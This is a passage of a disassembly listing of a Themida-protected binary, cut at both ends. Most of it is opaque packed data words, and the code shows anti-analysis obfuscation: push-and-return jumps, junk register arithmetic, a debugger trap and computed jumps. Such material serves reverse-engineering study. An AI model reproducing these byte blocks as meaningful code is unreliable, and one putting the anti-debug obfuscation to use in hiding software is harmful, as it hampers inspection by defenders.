XREF: sub_5D3510+1DEj cmp dl, 5 jnz loc_5D3733 mov byte ptr [ebp+arg_0+3], dl jmp loc_5D3733 ; --------------------------------------------------------------------------- loc_5D3726: ; CODE XREF: sub_5D3510+1D4j cmp dl, 6 jnz loc_5D3733 loc_5D372F: ; CODE XREF: sub_5D3510+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5D3733: ; CODE XREF: sub_5D3510+174j ; sub_5D3510+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5D3761 movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5D3743: ; CODE XREF: sub_5D3510+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5D3743 mov esi, edx loc_5D3761: ; CODE XREF: sub_5D3510+226j and al, 0FEh cmp al, 0F6h jnz loc_5D3796 cmp edi, 7Fh ja loc_5D3796 test bl, 38h jnz loc_5D3796 cmp [ebp+var_7], 0 jz loc_5D3790 movzx eax, [ebp+var_4] jmp loc_5D3793 ; --------------------------------------------------------------------------- loc_5D3790: ; CODE XREF: sub_5D3510+271j push 1 pop eax loc_5D3793: ; CODE XREF: sub_5D3510+27Bj mov [ebp+var_1], al loc_5D3796: ; CODE XREF: sub_5D3510+255j ; sub_5D3510+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_5D379C: ; CODE XREF: sub_5D3510+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5D37C7 dec eax dec eax jz loc_5D37BD and bl, 7 add [ebp+var_1], bl jmp loc_5D37CF ; --------------------------------------------------------------------------- loc_5D37BD: ; CODE XREF: sub_5D3510+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5D37CC ; --------------------------------------------------------------------------- loc_5D37C7: ; CODE XREF: sub_5D3510+294j mov al, [ebp+var_3] add al, 4 loc_5D37CC: ; CODE XREF: sub_5D3510+2B2j add [ebp+var_1], al loc_5D37CF: ; CODE XREF: sub_5D3510+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5D37F7 movzx ecx, [ebp+var_1] inc ecx loc_5D37E2: ; CODE XREF: sub_5D3510+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5D37E2 loc_5D37F7: ; CODE XREF: sub_5D3510+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5D3510 endp ; --------------------------------------------------------------------------- loc_5D37FE: ; CODE XREF: Themida_:loc_5D34A6j lea eax, [ebp+61A9A7Ch] mov [ebp+615256Dh], eax lea ecx, [ebp+61A9E9Ch] push 0 push ebp call sub_5D381B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D381B proc near ; CODE XREF: Themida_:005D3813p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5D381B endp ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- cmp edi, edx add byte ptr [edx+27218D89h], 15h push es add esi, [ebp+6152CD5h] mov dword ptr [ebp+61504CDh], 6B8Ch mov dword ptr [ebp+6151115h], 0 push ecx mov [ebp+6150889h], ebx pop edi push dword ptr [ebp+6151D45h] push 0 push edx call sub_5D3869 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3869 proc near ; CODE XREF: Themida_:005D3861p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5D3869 endp ; --------------------------------------------------------------------------- db 0EAh, 0FBh, 25h dd 8971A5F9h, 1502F18Dh, 0D5858906h, 0FF06152Fh, 1502C995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0AD7C09C9h, 2E454A89h, 0DF8B60DBh, 0CCE98166h dd 8D316124h, 6152A45h, 95FF006Ah, 6152E21h, 0BEBC08Bh dd 71CB0BFBh, 8A95C9A6h, 8D2960B0h, 1A9F768Dh, 0FE906h dd 1E590000h, 8EC0B9Eh, 335417B3h, 88F76D6Dh, 218D8967h dd 6A061527h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0F9EBC351h, 9D1E36B3h, 0BF2A359Ch dd 713B56D8h, 2DBDBD89h, 85C70615h, 61504CDh, 7260h, 0C700C880h dd 15111585h, 6, 0D59D3100h, 0FF061514h, 1533A9B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 3EE9A20Fh, 0BF76F119h, 4B119BD5h, 2C995FFh, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 6C80A1C3h, 27E1958Bh, 6A0615h, 2E2195FFh, 0C08B0615h dd 0BCED4FEBh, 5FA95B9h, 64444836h, 66B6BA34h, 222E5AE9h dd 6022CD03h, 60B578ABh, 0EBB2EEC4h, 0EC0F404Bh, 0DEB1C8Ch dd 0CC9BF650h, 43C8384h, 23CE08C1h, 0DE8FABE5h, 0FF65C21h dd 624F0E42h, 0F62FD681h, 0C8FEB068h, 5303682Fh, 0B3F489DFh dd 0FE9C3h, 0F32F0000h, 7432h, 2 dup(0) dd 0BBDE900h, 98680000h, 0E9061AA1h, 0FFFBA8F0h, 1AA25968h dd 0A8E6E906h, 1068FFFBh, 0E9061AA4h, 0FFFBA8DCh, 1AA52B68h dd 0A8D2E906h, 0F468FFFBh, 0E9061AA7h, 0FFFBA8C8h, 1AA96668h dd 0A8BEE906h, 2468FFFBh, 0E9061AAAh, 0FFFBA8B4h, 0CDBFBEAFh dd 5D2F4E42h, 0CFC1BCB2h, 53354844h, 0C9BBC2A8h, 0B0A27C6Ah dd 1710FBCDh, 0B89B6666h, 4D38C3C5h, 0CBC86030h, 243EAEEBh dd 6877EEA7h, 0C96D62DBh, 4B029BE2h, 0F31F9E3Ch, 125BFAF4h dd 1039A724h, 9F86686Ah, 3DC8C7DEh, 0D77E2756h, 0DF3F5E58h dd 0AC5DAD3Eh, 57E0C786h, 3EDF3A57h, 86AF5AADh, 0B0FFB906h dd 0E8074343h, 237B353h, 0D6CE7F5Bh, 0FBF4A729h, 584EDB82h dd 18967C25h, 0D363588Ch, 0EEA6E35Fh, 69526BECh, 64000000h dd 0D7D76CC4h, 0AD3EDEBAh, 0D025BF06h, 0D58E04D3h, 0AD5ECDA4h dd 0AA23E58Eh, 9C8DE59Dh, 53939CA2h, 981138B3h, 7A03EA9Bh dd 2B1F2AE3h, 0CCA24B52h, 29931F72h, 0B52DC9A7h, 0F4E283Bh dd 8DA72993h, 226F4FDCh, 72A72993h, 27806FC7h, 0CF6BECAFh dd 0CDh, 0C2BBB362h, 3A7D0C9Bh, 543B1912h, 37A701Dh, 0D7BB35Ah dd 0A4863724h, 0DF306DD9h, 0B89AAD3Eh, 2AF59CC5h, 311C37FFh dd 0D2B8554Ch, 99913CABh, 76138EE4h, 0DA77EE8Fh, 8E9D8AF3h dd 3EDEE1B0h, 0B086B3ADh, 0E398E6E0h, 0FBF2AD3Eh, 90770282h dd 991774EDh, 35E1DD4Ah, 61B353EEh, 0CD6BD8B8h, 6295717Eh dd 3EAD4172h, 79711C0Bh, 0A8CE5D04h, 4A9877BCh, 0F30036FFh dd 0BB0D7062h, 0ADA3DAD0h, 0FA07CAFFh, 39D2742Dh, 1E000009h dd 9580502Dh, 25F0E09Dh, 8772522Bh, 23EEDE9Fh, 0BD7C4C31h dd 3E3F35CFh, 0AFCEC34Eh, 3E3F32DDh, 0B1CCC34Eh, 6C4A47DFh dd 0A7243E2Dh, 8688F66Fh, 0CF7D9A4h, 3F6C5C21h, 7C802F8Ch dd 0B37B3E06h, 1D6CC4D5h, 0E20A300Eh, 0BBCAB353h, 0A86BBFD8h dd 0AE2D6374h, 2588C887h, 0B034D51Fh, 5306E089h, 95A729AEh dd 7C0D8919h, 7C6BECCAh, 93h, 0DE9F864Eh, 35482AC7h, 968E3F2Ch dd 0C56C1103h, 0E3A38F6Dh, 2621AD3Eh, 0A38A7557h, 0CC64C3DAh dd 42906E7Dh, 52B353EEh, 0CD78A527h, 4A039AE3h, 0BA09A724h dd 6F8D512Dh, 6009AD41h, 2D5042D3h, 0C3BAB05Bh, 749894Dh dd 0E48603FAh, 878h, 3D8FEEDFh, 0AD1F5E52h, 3F91ECE2h dd 0A3255854h, 398BF2D8h, 0F20C7Ah, 87800B7Dh, 8EB96F6h dd 7D681375h, 1B189000h, 243C7E1Bh, 0D7271EA7h, 1A373724h dd 7AAD3EDFh, 6ECA7CFh, 836A1577h, 863C8AFAh, 2AC7DE9Fh dd 5BFAF443h, 39AD3EDEh, 23758C2Ah, 0E38AFEF3h, 338D3A8Ah dd 0F36747E4h, 0FFB35348h, 7D24594Eh, 98C19ED4h, 0F4898411h dd 7FFEE994h, 6DB8E370h, 0D8C35D69h, 0A41B07A2h, 133AAD6Fh dd 6C290516h, 2817AD2Dh, 0A73B3901h, 0D7A6A02Dh, 84F9F49Fh dd 83661704h, 0E4C663FAh, 10691099h, 55442B6Ah, 0D27B225Bh dd 7618029Bh, 0F617AD2Dh, 0F1DCF480h, 56513C8Ch, 0ECA47E27h dd 2617AD2Dh, 0D5D0E87Ch, 0EB988BA8h, 0CBCBEB46h, 99B8423Ch dd 0C742CFF1h, 0CFF1AAE7h, 0E43FEA42h, 0BDE0F44Fh, 4E27CCACh dd 0F2DDA828h, 0B1B8C5A7h, 0DB383108h, 25210E5Dh, 48E54195h dd 0BB81841h, 0F5D15EADh, 46D86F59h, 0F1CDD485h, 42D02EA1h dd 0B935AD49h, 79346F0h, 4D608h, 1682BA00h, 0E50251EFh dd 1D6047F6h, 97A5CD84h, 0B353E8BBh, 9BBAB4A7h, 0F9A729D5h dd 0C63D2A50h, 29D5A9E8h, 0F73EEBA7h, 15F0A390h, 0B076AAE6h dd 52D175Fh, 0D83F93Fh, 0F48980B3h, 0A887C46Dh, 2AB8E96Eh dd 0FEEDFA33h, 63E35100h, 601643D2h, 0F3B7F3D3h, 32E7D878h dd 1A1D08B5h, 6EF37D1Ch, 43EA1FD0h, 647774EBh, 6EF3CB8Ah dd 0DAA0C9D0h, 3F03FF9h, 842E8A03h, 6047F6D6h, 0C0CD841Dh dd 5ACB5C8h, 0AA49F02Dh, 4749341Bh, 68ACD1BCh, 20DF29E8h dd 0C1992DE4h, 96000006h, 3DC8C8B5h, 0DDA82855h, 4F3A8AF3h dd 0DBA62657h, 0A50484F9h, 86F7DD37h, 0E7967B06h, 46371AE5h dd 0A9D4BB46h, 84826F27h, 0A7243AD5h, 8680CEC7h, 0C8C7DE9Fh dd 0EB7A083Bh, 48F17805h, 50703F0Bh, 8D69C492h, 9310898h dd 0B719644Ah, 0F9C5h, 6EC4EB00h, 6914191Fh, 1433FB82h dd 96E7DFE4h, 0EF8E820Fh, 452A6F62h, 0B1883138h, 0C034C2B8h dd 9825068Ch, 7805ECADh, 78F148F1h, 67FB79C1h, 346560EDh dd 741D4439h, 2309A4BDh, 0E38A435Ah, 0F70B9C8Bh, 61EB7201h dd 0DD000000h, 34F69724h, 0B2ABD2BDh, 34084CFBh, 5ED4B57Dh dd 0FD34492Bh, 653E10EEh, 2356AD3Eh, 5008D7Ah, 9C93C278h dd 2924EFE1h, 42FE4D54h, 6CFAF4F3h, 14B35375h, 3A007D69h dd 0AE253CEDh, 6F38B440h, 2A6BEC88h, 74203D39h, 4AA8A729h dd 4679614Eh, 581E4B14h, 738h, 0DE7F8A00h, 31000000h, 0E1D6CC4h dd 5403CA30h, 68790AB3h, 6522FD8Bh, 0F658BC75h, 0EAFC10F0h dd 5A69B2Fh, 0BCB10000h, 4C44CFC1h, 0BAB45F31h, 4E36C1C3h dd 0C0B25D2Fh, 7E6CCBBDh, 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h dd 62621B12h, 94C1BDAAh, 0A72439h, 6EC43D95h, 3972191Fh dd 0AF2BB7F5h, 7201FADAh, 681Eh, 8E841100h, 0AB4460EFh dd 0FBB394DBh, 6EC45533h, 3772191Fh, 0AD29B9F3h, 7201FADCh dd 481Ch, 977C0F00h, 0BD8F0490h, 3093C2BCh, 5801AD3Eh dd 0C4775921h, 23101F6Eh, 3EDE7623h, 205D54ADh, 0E297D089h dd 0FA8BA88Ch, 0B4A2413h, 89AD3EDFh, 0AEE199E0h, 188C2A82h dd 3EE6E7B1h, 6424C5ADh, 927201EFh, 0FFFFFE8Eh, 1F6EC424h dd 0CE5E7219h, 0CFD854E0h, 277201FAh, 263h, 0D9A48699h dd 0FF30E3D0h, 0AFD39473h, 0F1DD78BEh, 0F7EE9F8Ch, 0CBD2ABA2h dd 7C234B22h, 748C1896h, 28DFF7Eh, 0CD7E6D10h, 0C4154088h dd 0A7CFB1h, 0CC8C8013h, 414E2F25h, 9DD52CFAh, 0D65F942Ch dd 3EE84BCEh, 720B028Fh, 0FCEB42EBh, 491AB84Fh, 80B6093Bh dd 50EF9373h, 7AAFB353h, 1C6146E3h, 81FCE885h, 0F084F2E8h dd 6BF777BCh, 0AC1C6153h, 9592EBE1h, 0E980FDE8h, 96C3C330h dd 6A72928h, 9A841B53h, 0A72929F7h, 0CD7E75h, 70C78D0Ah dd 6AFA74BAh, 73AE63F0h, 4251AD83h, 9F552F42h, 0F33BF201h dd 0B90B7258h, 8A1DCCEh, 31BE0DABh, 0A9D1ACA4h, 9804AE88h dd 79A0AD3Eh, 0BF0EAA17h, 9D924330h, 6A10C9E0h, 5385DADCh dd 564FFAB3h, 0B8C5AC59h, 85D58482h, 0FEF5A729h, 674BE67Fh dd 0C3ED8F16h, 0FBF8FB2Fh, 854F0EE8h, 364DA729h, 0E810F59Fh dd 0C1CCA585h, 0F07EB4C9h, 997B0A84h, 0C1780500h, 4849F1A8h dd 0A192A1F0h, 2977F8A5h, 0BD75A4A7h, 7820522Ch, 0C574AD3Eh dd 304D38C3h, 0CCB19C39h, 0A2F14FFCh, 80DDA985h, 50F9B353h dd 1F8130E3h, 965B1B16h, 1DD4CDB0h, 97831E54h, 0A729CCF6h dd 76F084F2h, 0ED9AE3C7h, 918EF83h, 3BAE8492h, 6BECB46Eh dd 4D8Ah, 6CC43C00h, 211D0E1Dh, 0AD3EDE74h, 0B041F920h dd 53E230D6h, 4B2B38B3h, 0A729DC0Eh, 0CA93DB8Eh, 0D05909Fh dd 705CF970h, 94DD940Dh, 0D7C4C3DEh, 0C43E3F26h, 0A729DB95h dd 221C5207h, 0A729DB6Fh, 0E965FD79h, 6BECF7A0h, 9B58h dd 9F866A00h, 482AC7DEh, 7E275651h, 6A079ED7h, 4B321683h dd 0F7EE7B22h, 4E2C0686h, 0BCAD3EE3h, 6FDCACD1h, 0D86582D1h dd 0B8C5A7F2h, 383108B1h, 3E38B981h, 0B3568326h, 0AD58D782h dd 9FDED2C7h, 9D972F0h, 1D54B919h, 4DEAE0ABh dd 49B5C8C0h, 0A7278B0Ch, 0C498E188h, 0FC12AD90h, 0DDE97DF4h dd 7A000002h, 19E4E499h, 917C4C31h, 1BE6E697h, 8F7A4A33h dd 51F0E09Dh, 0B2CBC15Bh, 3B4227D2h, 0B2CBBE49h, 3D4027D2h dd 0D8D6D34Bh, 0A72437B9h, 86146ADBh, 0CF7D9A4h, 0DE6C5C21h dd 12FA9F86h, 0FD30B085h, 650CCFB9h, 4FDC953Ch, 4333625Ch dd 0B861AD3Eh, 634AE782h, 241CAA1Ah, 0DF1A3737h, 0CF7AAD3Eh dd 9801ECA7h, 21D8D1ACh, 51625158h, 3EDF2875h, 2037A0ADh dd 86B00B6Ch, 87C66C9Dh, 5EEBDDA0h, 9A9493E2h, 0B3530AECh dd 5E486108h, 0A7290A3Bh, 0D1ADBEADh, 0A7290984h, 9B3E2DCh dd 38E1A729h, 7AF43AEFh, 22196EEAh, 3BDD6BECh, 0EF000000h dd 4F396CC4h, 0EE8072Eh, 0B353E1F8h, 756685B4h, 29DBDC79h dd 0E991B8A7h, 4C44D1BEh, 5AFB0931h, 8EA729DBh, 0F92EEE9Dh dd 0B284D7C1h, 682F27Ch, 6BECD181h, 0C175h, 9F864700h dd 0C36A13FAh, 601D0F9Ah, 0AF2840D3h, 0ADB4C9C1h, 0A66C4704h dd 0B13C630Bh, 9B28C7B6h, 0F87F222h, 0B9B0868Dh, 7C4C311Ch dd 3E06F442h, 6561ECADh, 3C336218h, 0C5C1B241h, 0AD3E0598h dd 4F385504h, 0FD88082Eh, 0F5F26B12h, 561C6148h, 7F6CBB75h dd 53086F7Fh, 6D62F3B3h, 4CFD6A10h, 92E12CDFh, 0AF1336EEh dd 0FEBA0787h, 184640AFh, 84AD40D7h, 0C5A756D5h, 472DD8B8h dd 0E144E236h, 0D148FA07h, 16B3Dh, 7607EC00h, 0F6876B16h dd 7805EB96h, 0FC816D18h, 720B018Ch, 0CB259312h, 493494E9h dd 0E0AB1D60h, 493494E9h, 0F5AD1F5Eh, 355FFEF8h, 483DA724h dd 0D9A486FAh, 5C210CF7h, 6CC4DE6Ch, 0A300E1Dh, 0CAB353E2h dd 791C069Fh, 6FA729DBh, 0B2F773FFh, 466BECF7h, 0A7h, 0DE9F8678h dd 0DBDBC8C7h, 0AD3EDEBEh, 196447DEh, 997B1A60h, 0C0790400h dd 0E381BDA9h, 0E4CBAD3Eh, 614C3799h, 8A26851Ch, 2721AC3Bh dd 0EBA64F56h, 44ED7409h, 0F101FDEEh, 0A5B353DCh, 9A71474h dd 0A6512DBAh, 0F2AD4180h, 0BBBBA847h, 0AD3C3D9Eh, 6234BFEh dd 0E8E89577h, 0D246371Dh, 0FA07585Eh, 0AD2FD34Eh, 0AA000000h dd 29D4B4C9h, 0C14C3C41h, 2BD6B6C7h, 0BF4A3A43h, 61E0B0CDh dd 0E29B916Bh, 4B3217E2h, 0E29B8E79h, 4D3017E2h, 0C8A6A37Bh dd 0A7243489h, 86249A0Bh, 0AAF7D9A4h, 1E47361Bh, 9994BF77h dd 8656E4E4h, 0C251DE9Fh, 800C1A9Bh, 223DF5FCh, 0DF9A087h dd 7AC7C970h, 0D3806FBEh, 649BFC06h, 0E6032B3Dh, 595E1408h dd 0C0E990B3h, 41433A35h, 0B7AECFB6h, 4C7884CBh, 69F97319h dd 0A5275651h, 0BA56CB78h, 8028DDBh, 9118654Dh, 0C0392E8h dd 715DF871h, 4DDE950Ch, 0B1B8C5C0h, 0B0443208h, 0D0AD98h dd 3A631A15h, 3A8h, 66B40A00h, 0D1D8A586h, 2D344944h, 0CDD4A9A0h dd 2F364740h, 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh dd 0E881FCF4h, 0E1895104h, 4C181h, 0BF570000h, 4, 875FF929h ; --------------------------------------------------------------------------- or al, 24h pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp push edx mov edx, 1FB4603h and edx, 55295974h add edx, 4F16029h mov eax, edx mov edx, [esp] add esp, 4 push 33FDh mov [esp], esp add dword ptr [esp], 4 pop ebp push 12FBh mov [esp], eax pop dword ptr [ebp+8] mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58E30C ; --------------------------------------------------------------------------- db 0E6h ; --------------------------------------------------------------------------- mov esi, 0B780124Fh pop esp int 3 ; Trap to Debugger pop ss pop es adc ebp, ecx mov eax, 61AAAF6h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 457A22F7h, 56ECF749h, 1C720F7Bh, 74F5A66Ch, 373C738Eh dd 356A2407h, 237040AEh, 1CB237B4h, 2F1C9247h, 168863CDh dd 2B53EBEh, 31E9h, 33E07A00h, 0Ch, 0C51C5700h, 6148434Ah dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h dd 0F4C7009Dh, 6063921Dh, 0DE19h, 11E90000h, 6800000Bh dd 61AAD16h, 0FAD239E9h, 0AE3468FFh, 2FE9061Ah, 68FFFAD2h dd 61AAF62h, 0FAD225E9h, 0B00A68FFh, 1BE9061Ah, 68FFFAD2h dd 61AB0F5h, 0FAD211E9h, 0B1E568FFh, 7E9061Ah, 68FFFAD2h dd 61AB289h, 0FAD1FDE9h, 0B47D68FFh, 0F3E9061Ah, 68FFFAD1h dd 61AB57Eh, 0FAD1E9E9h, 0C0308EFFh, 0B7BFE35h, 0C838B56Ah dd 272F62Dh, 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h dd 49D6BF2Fh, 289B7AEAh, 5E7A9F26h, 8001169Ch, 0DB0BABBCh dd 9E1E4003h, 0B2DF16A1h, 57D6DD4Dh, 0BDF6C8E7h, 2327CE3Eh dd 5E478A39h, 1526169Ch, 3F2B9B1Eh, 4E0971D2h, 0CD0DDD1Ch dd 8AA7B798h, 65CFBB2Bh, 0EBF323D3h, 0BB4C1358h, 0B5899A10h dd 97FF7Ch, 0F13B9F41h, 0A41471A2h, 0E3B29D72h, 1A225E77h dd 9B7304C3h, 51C142EFh, 0F323D365h, 12C6EAEBh, 44B3ADE7h dd 0E93590A6h, 8C1AA992h, 5273E2BBh, 4E68ABA0h, 957E6h dd 4CBC3A00h, 87F77AA9h, 54C441EEh, 9E0E72C1h, 5ACA28F7h dd 0F4AFDCBBh, 0C06F0676h, 0F926CF3Fh, 0B56A0B7Bh, 0A42FC636h dd 5FC60BBAh, 0E4A5169Ch, 57C72458h, 81F1525Fh, 0C2F2C6F4h dd 73D1E2FCh, 1D3A1303h, 86ED9C7Eh, 4E6D1D4Bh, 169BAF1Ah dd 0AC335481h, 397498D2h, 640676FAh, 0D0336334h, 1693BB8Dh dd 3910BF7Ah, 9DBD66B4h, 333Ch, 0C3417200h, 41726353h dd 0DF4C6858h, 0A0947659h, 3DB0BABh, 9BF5F040h, 7ABC8D16h dd 93F1D2FBh, 0C9F49B16h, 0BD1CFD80h, 0CD839Dh, 78B90000h dd 3BDF8BFBh, 8757C724h, 0F2ABEE55h, 41521086h, 0F4766BA9h dd 22A19284h, 0C6F84B2h, 8CBCF99Ch, 0C41086F6h, 111EF767h dd 627C42B2h, 0C67FEF51h, 1086F683h, 83B1596Ah, 4D1141F5h dd 9C01D276h, 2A999B16h, 1693E5E7h, 0FF7EB586h, 0E5D5A08Fh dd 0D4DDE111h, 0DEAFE757h, 8E252D5h, 8BAC8F36h, 0FACB108Bh dd 0FB6BCFE4h, 7F03301Ah, 5436070Fh, 1AE353D7h, 0B1BE31A5h dd 39B83C3Ah, 58000008h, 98876EDEh, 57CCA919h, 0A08F66D6h dd 4EE5B020h, 2997CECh, 24941689h, 0ED5DE251h, 29991B08h dd 0E454D74Ch, 2D98C611h, 169C5CE4h, 4F360687h, 296DDD62h dd 0F575B654h, 0C043F085h, 44F2A958h, 5E71C934h, 5ECE3380h dd 0AB5BE1ACh, 0D903DB0Bh, 86F2276Ah, 15F5C610h, 0CC381D3Fh dd 92AA61FEh, 3602A149h, 47169BEEh, 0ED9BBE85h, 51621693h dd 5D56387Eh, 63296DDDh, 93EDB9E0h, 5C734416h, 0EDCE0FAEh dd 0B71693h, 38F17CCDh, 0D6779DBDh, 93000000h, 5F57C724h dd 964F052h, 8FA09D99h, 0F6FC2C87h, 77F41086h, 0EBEC6E07h dd 117A9B0h, 41F29837h, 7A6452C2h, 4CB8E164h, 0C4DA1086h dd 0DC02E57Dh, 74162799h, 744A7A3Eh, 88D1746Ah, 73108613h dd 35DDC8A2h, 0B8169CE4h, 0D005D7E7h, 0CB106AEDh, 96BB6A7Dh dd 0EC1693B1h, 0EA7FE42Eh, 3E0FB140h, 0AE7CA520h, 2EFF1693h dd 0B589313Ch, 0B2A3B985h, 99B7B616h, 6B5A30E1h, 108B24AFh dd 50617D4Eh, 0CB808AF2h, 9B040829h, 0F052E1B4h, 4B7EFD80h dd 4F65B1BDh, 70BF3h, 0B8288600h, 73E346DDh, 0C0308DA2h dd 0A7AFE35h, 0C636B46Bh, 8033782Fh, 2C039202h, 65BA5BCBh dd 31FE9707h, 409362D2h, 5D62A71Eh, 8809169Ch, 3AC624B4h dd 8B6A45B5h, 0CEA71794h, 57C7246Ah, 65587D5Fh, 288888B3h dd 3FBC6D1Dh, 262267DEh, 0F8C91086h, 6D3E7EDFh, 0E8C7DAFCh dd 1465A80Dh, 3E021086h, 5D95300Eh, 2016A178h, 81022F0Fh dd 4CAF8411h, 0B050DADCh, 93A0BE80h, 70D3C030h, 873B6A00h dd 46108067h, 0CF76D759h, 1CB6678Ah, 878FA071h, 0A8A9A1B6h dd 432EAA54h, 0DD0C916Ch, 0D9DBB1BAh, 66359h, 60D02E00h dd 0AB1B9E95h, 68D855CAh, 0A212968Dh, 6EDE5CD3h, 289B1087h dd 64BB5ACAh, 2D029303h, 69B65FCFh, 0C8FB9A0Ah, 421A3F06h dd 20E1169Ch, 57C7241Ch, 0B8347D5Fh, 0C5804E48h, 1086F29Ch dd 89614E5Fh, 7BBB2B88h, 0A3930366h, 77BF2F8Eh, 0CE248BFEh dd 86F2D2F7h, 0A7889910h, 0E3E4CBC2h, 9025F060h, 97A81A2Dh dd 0ED348FCDh, 901086FEh, 76FCBBFh, 4B000000h, 19CB5h dd 97B6D100h, 501086F2h, 0ED348FB0h, 901086F2h, 0F2D2F7CEh dd 88991086h, 0FB688A7h, 16A19EE0h, 0A6B88697h, 7ABC2C8Dh dd 0B59A0A69h, 0DAA353A2h, 97736572h, 95A9199Ah, 6BD1E9Ch dd 169C6AC3h, 0D4B699AAh, 99096AB9h, 334D90C5h, 31BF94F0h dd 0A94DDB59h, 3A776579h, 724B4BBBh, 77752D98h, 27F81081h dd 0BB6DBF56h, 9A1A1CB1h db 78h, 5 word_5D4B22 dw 0 ; DATA XREF: Themida_:0057C15Co dd 482D9D19h, 0FE656DBh, 6035A520h, 18FD6DD3h, 5E37A70Bh dd 0EB4F4249h, 22859A7Bh, 0F04CE3B2h, 0BD3EF580h, 2F1FA84Dh dd 9C424D94h, 0CD6F3016h, 8757C724h, 0F2ABEE55h, 41521086h dd 0F5766BA9h, 0BFF69185h, 0A834B710h, 375AE94Ah, 0B61086F2h dd 0F3CCCAE5h, 0F23158EBh, 0EBBC1086h, 42D31C4h, 565535A5h dd 97A819D3h, 759h, 0BAB52D00h, 0D1000000h, 6FDF624Fh dd 5E58C824h, 6F0F8961h, 7AA41F3Fh, 0FB16A19Eh, 9A1F142Ah dd 0B5FE402Ah, 2FC636h, 0A4B1383h, 36489E1h, 8DAAA393h dd 1BCF9D34h, 87B787F1h, 34E70CB7h, 0B58610BBh, 0BB2B88A9h dd 0C70AB9A3h, 0A61CB3A4h, 8996F595h, 8FA4BA2Ah, 62CCBE2Eh dd 0E6F828D8h, 6CB3DFF8h, 0B80A0832h, 0B341C40Dh, 0B996A71Ch dd 0B0AAF2D1h, 7A4B1AA9h, 0A03086A3h, 57DBD9ABh, 488h dd 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h, 0AE47B73Bh dd 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h, 0BF8F38DDh dd 9C43DD04h, 5DDFA016h, 73E3624Fh, 4A04A43h, 114h, 0DB0BAB18h dd 9E1E4003h, 0CEDF16A1h, 0D040C3F0h, 1D8DEE45h, 0BFEF8F19h dd 32DF249Fh, 315E10BBh, 734B64D4h, 4D49B93Eh, 9AC49A70h dd 9C0C6FC4h, 0D900A59Ah, 0A41CB3AAh, 0B222A093h, 68D85BD8h dd 1570C18Dh, 0E744C5A5h, 0E639C77Fh, 113E47A7h, 0B3E39325h dd 4FF418ABh, 0A8791AA9h, 0A097AED5h, 43BFB5ABh, 3E4h dd 14E151ADh, 4B2A9A1Fh, 0CE959D4h, 54219117h, 0AEB5BDFh dd 1FA31E8Dh, 0D659C6AFh, 24A08F66h, 0F152E1B4h, 0FBE3F481h dd 9C400148h, 112BEC16h, 5F57C724h, 9581F152h, 0ED5360F2h dd 0BFE2617Dh, 3E1086F2h, 0AB127D6Dh, 0F53E9F1Ch, 3E0F0777h dd 86F24287h, 37182910h, 19E6535Eh, 496E97A8h, 4A000000h dd 3DB0BABh, 9C41FF40h, 91AD7E16h, 0A9B525A0h, 0BDC910B3h dd 0EBB41693h, 84BDAAEEh, 5A301F40h, 9E56763Bh, 7CB51693h dd 0A01072FEh, 0CD2EDB8Fh, 0A6BB85Dh, 96FC49Ah, 73A09D99h dd 0A4999D0Dh, 39EC48C6h, 0C0000003h, 5E58C824h, 48256770h dd 54CDD1C4h, 84299384h, 5A301FE8h, 0D4EA5AD9h, 0FEEC5CDFh dd 0D343C06Fh, 56DCEE3h, 23BD6DFEh, 0C0557A33h, 0DC05C09Eh dd 9F1086FCh, 2B6DC8Eh, 0CD20CD2h, 86FC1039h, 20CADB10h dd 9BF54D85h, 0A1231016h, 9D181E31h, 1693E570h, 0A3930366h dd 78BE2E8Eh, 51A10C7Dh, 93E5AFF2h, 527D4E16h, 0BB8E41F8h dd 9DBD352Eh, 2CB6h, 0BABD200h, 7A8D73E3h, 0D9F619AFh dd 0DE4EAC05h, 9F9B2A2Ch, 9E169BD6h, 0E32A898Dh, 8C1693D4h dd 2A8FBA25h, 0B29DBD40h, 0F2h, 5FC72486h, 7AF330F4h, 40765984h dd 68D9795Eh, 28E88DD4h, 171D142h, 2F9F1C15h, 1179FAE7h dd 73D95932h, 0EE657217h, 